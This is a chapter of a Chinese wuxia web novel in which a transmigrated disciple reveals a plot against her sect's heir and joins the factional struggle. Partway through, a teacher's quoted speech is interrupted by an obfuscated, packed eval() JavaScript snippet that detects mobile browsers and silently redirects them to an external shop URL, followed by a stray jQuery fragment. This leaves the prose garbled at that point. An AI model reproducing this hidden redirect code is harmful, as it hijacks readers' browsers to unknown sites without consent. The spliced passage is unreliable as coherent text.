易容。
沈卿在心里把这个词翻来覆去地嚼了几遍,越嚼越觉得脊背发凉,她怎么就忘了呢,在她所处的武侠世界,人皮面具、易容术是这里人的基本功啊!
肯定是之前饿得发昏,脑子还没从思维定式里转过弯来。
沈卿一把抓住任书桐的袖子,压低声音,语速快得感觉像下一秒就要咬到自己的舌头:
“任师姐,我有件事要告诉你,我听到周堂主和戴义峰要设计搞死,哦不对是陷害谢明渊谢师兄!”
任书桐被她拽得一个趔趄,面对沈卿如同马车疾驰一般的语速,眉头皱起来:“你慢慢说,谁要死?”
沈卿赶忙调整呼吸,让那跳动不休的右眼皮慢下来,把在善法堂窗外偷听到的对话,用她能想到的最简洁的方式,一股脑倒了出来。
“周堂主和戴义峰,在善法堂密谋,要在考核里做手脚陷害谢师兄。他们说在落地点埋了什么,要栽赃谢师兄串通外山、作弊舞弊。我亲耳听到的,虽然没听完就被发现了。对了对了,救我的那个人是苏少游,他也听到了。”
沈卿说完,大口喘气,感觉自己的肺活量在穿越后有了质的飞跃。
任书桐的脸色,从疑惑变成凝重,周堂主是执法堂的堂主,山门半数弟子都是听从他的指挥的。
“你确定是周堂主?”她的声音压得很低,虽已经相信沈卿所言,但是想到接下来面对的碧霄山内斗,就觉得乌云满布。
“确定。”沈卿点头,“我还确定那个戴义峰就是他的狗腿子。之前戴义峰把我引到后山,可能就是想借我之手捅破赵清风勾结秀海山苏少游贩卖山门考题的事情,还好我机智,才没有变成炮灰!”
任书桐沉默了片刻,似在思索接下来怎么做,是否自己也要趟入这浑水。
“沈卿,”她的语气比沈卿听过的任何时候都要严肃,“你知不知道,你听到的这些,足够让你死三回?”
沈卿的脸白了,“我知道。”她咽了咽口水,“但我不说,谢师兄可能就要死一回。任师姐是知道谢师兄为人的,这点善恶观我还是有的。”
任书桐探究地盯着沈卿看了几秒,一点都没有了之前傻白甜“武痴”的样子,她想到之前沈卿跟她推销自己祖传秘籍的样子,本以为是个小滑头,没想到这丫头居然还有点骨气。
“你放心,有我在,你死不了。”任书桐拉过两把椅子,示意沈卿坐下,“既然你听到了,那我就把话说开。碧霄山现在的局势,比你想象的要复杂得多。”
沈卿乖乖坐下,双手放在膝盖上,像个听老师讲故事的小学生。
任书桐在她对面坐下,缓缓地开口:“碧霄山开山祖师,是个行伍出身的将军。当年北方蛮族入侵,朝廷腐败无能,祖师爷带着一群热血志士,在碧霄山立下根基。他的遗志,不是让碧霄山偏安一隅,而是——”
她顿了顿,目光坚定:“带领弟子,抗击蛮族,收复失地。”
沈卿的心里“咚”的一声,像有什么东西砸在上面,好像课堂上听到语文老师讲解辛弃疾的诗词“西北望长安,可怜无数山。”
她好像能看见垂垂老矣的开山祖师,万年挑灯看剑,对着年少的门主,教导他“要挽银河仙浪,西北洗胡沙。”
怎么当初没有好好听老师的,多背一些这样的诗词,现在满腔敬佩与感动却在任书桐的讲述中无话可说。
任书桐似乎也沉浸其中,没有注意到沈卿的眼神,沉浸在钦佩的情绪里“现在的门主,是祖师爷的嫡传弟子,一直秉承这个遗志。”任书桐继续说,“但这些年来,门内有另一派势力,以周堂主为首,主张——”
“躺平?”沈卿脱口而出。
任书桐看了她一眼,似乎对这个奇怪的词有些意外,但点了点头:“意思差不多。他们想学习秀海山,和南方朝廷搭上线,成为一方郡守,享受荣华富贵。至于抗蛮,呵,蛮子不来打他们就谢天谢地了。”
这不就是招安么?沈卿的脑子里立刻浮现出一本名著的剧情。
《水浒传》,梁山好汉,一百单八将,打方腊,征辽国,最后被招安,死的死,散的散。
招安,就是死路一条啊!
“可不能招安!”沈卿一拍大腿,“招安就全完了!那还是武侠么!侠之大者,为国为民!”
任书桐被她这一嗓子吓了一跳,但也为沈卿这一句“侠之大者,为国为民”而动容,这小小的出入门弟子都明白的事情,周堂主怎么会如同茅厕里的石头一般冥顽不灵,又臭又硬又恶心呢!
“门主也不肯。”她说,“所以两派之间的矛盾,越来越深。谢师兄是门主的心腹大弟子,板上钉钉的下一任门主。周堂主要想改变碧霄山的走向,必须先除掉谢师兄。”
“而赵清风,就是谢师兄的软肋。”沈卿接上了话。
任书桐点了点头,沈卿的脑子里,那些散落的拼图碎片,终于开始拼凑出一幅完整的画面。
戴义峰和周堂主想利用赵清风来搞谢明渊,因为赵清风是谢明渊的弱点。而考核现场出现了一个“假赵清风”是为了制造赵清风违规外出的证据,从而牵连谢明渊?甚至在刘长老录取众人后,那个捅破“赵清风卖考题”的大汉也耐人寻味了,这一切都是想要用赵清风来扳倒谢明渊。
沈卿把自己的推理说出来,任书桐听了,眉头皱得更紧了。
“你的意思是,有人假扮赵清风,故意出现在考核现场,让人以为她违规外出?”
“对。”沈卿说,“这样就能顺藤摸瓜,查出是谁帮她出去的,而帮她的人,十有八九会被指认为谢师兄。”
“这件事,必须告诉谢师兄,让他有所防备。”沈卿听到自己的嘴快过脑说出了这句话,她如果去告诉谢明渊,那就意味着,她要正式卷入这场山门内斗了。
明哲保身,这四个字,是沈卿穿越以来的人生信条,多年的小说和电视剧经验让她总结出不站队、不出头、不掺和、不惹事,才能安安稳稳的道理。
但现在——
她想起高中政治郭老师的脸,老郭是个秃顶的中年男人,讲课嗓门大口水乱飞,还特喜欢拍桌子,面对小团体众多的自己班级,最喜欢说的一句话是:
“你们不要以为个人和集体没关系!整体处于主导地位,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516630|203211||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
统率着部分,部分服从和服务于整体!你们是班级的一部分,班级是学校的一部分,学校是国家的一部分,不要自扫门前雪!”
当时沈卿在底下偷偷吃辣条,觉得老周又在灌鸡汤。
但现在,她站在这座山上,站在这群要为“抗击蛮族、收复失地”而活的人中间,突然觉得老周说的对。
她是碧霄山的一部分。
如果碧霄山被周堂主那种人掌控,变成南方朝廷的走狗,那她就算入了山门,学了武艺,又有什么意义?
到时候是当郡守府的丫鬟还是侍卫?自己可搞不了宫斗啊朝堂阴谋这一类。
自己穿越前不爱看宫斗文和政斗文,文化水平和脑子都不够。
“我去告诉谢师兄。”沈卿站起来,语气比她自己预想的要坚定。
任书桐难得可爱地歪了歪头,清澈的目光里里有惊讶,也有欣赏。
“你不怕?”
“怕。”沈卿老实说,“但我曾经的老师说过,整体和部分是辩证统一的,意思就是碧霄山要是完了,我也完了。所以帮碧霄山,就是帮我自己。”
任书桐困惑片刻后,又有些感慨:“老师?你是说夫子?你以前定是书香门第出来的,就算现在家道中落了,也明白这么多道理,要是山门上下也都明白就好了。”
任书桐也是将门出生,她虽没读过那么多什么子的书,却从小听爹教导,没有让别人出头,自己像缩头乌龟一样被护在后方的将军。
“沈师妹,我会去找谢师兄告知此事,也会调查假赵清风的事情,你一定要保护好你自己,不要让别人知道此事。”
可能是肾上腺素的作用,虽然任书桐只简单说了这么几句,但沈卿觉得此时此刻自己像在出征前的点兵现场,心潮澎湃。
“好的师姐,你保重自己,我的这本秘籍也给你,说不定可以派上用场。”沈卿想到自己看到的那些影视剧的内容,心里隐隐不安,出门在外,得让师姐带点防身的,想了想拿出了那本厚厚的《体育与健康》,里面说不定有什么内容可以精进师姐的武功,放在胸前也能档暗器。
任书桐半是好奇,半是感动地接过那本沈卿家族祖传的秘籍,按照这位笨拙的小师妹叮嘱,把她放在胸口出,然后朝着沈卿点了点头,从窗口飘然而去。
好俊的轻功,好刻板的从窗户出去啊!
夕阳已经落了一半,天边的云被染成了暗红色,像凝固的血,沈卿站在屋内,透过窗户看到那被裁下的一角血色,内心隐隐不安。
刚才自己和任师姐的对话不会暗暗立了什么FLAG吧!她从怀里掏出那本《心理健康教育》,翻开“合作至上”那一节。
“目标一致、分工明确、相互信任、有效沟通、包容差异、共同担责。”
分工明确、共同担责,她不能让任书桐一个人去面对这些危险,自己也要做些什么。
对了,如果周堂主戴义峰是招安派,谢明渊和山主事主战派,那这个时间来到山门一直打探着什么的苏少游又是哪一方的呢?
敌人的敌人,就是朋友。
“合作至上”。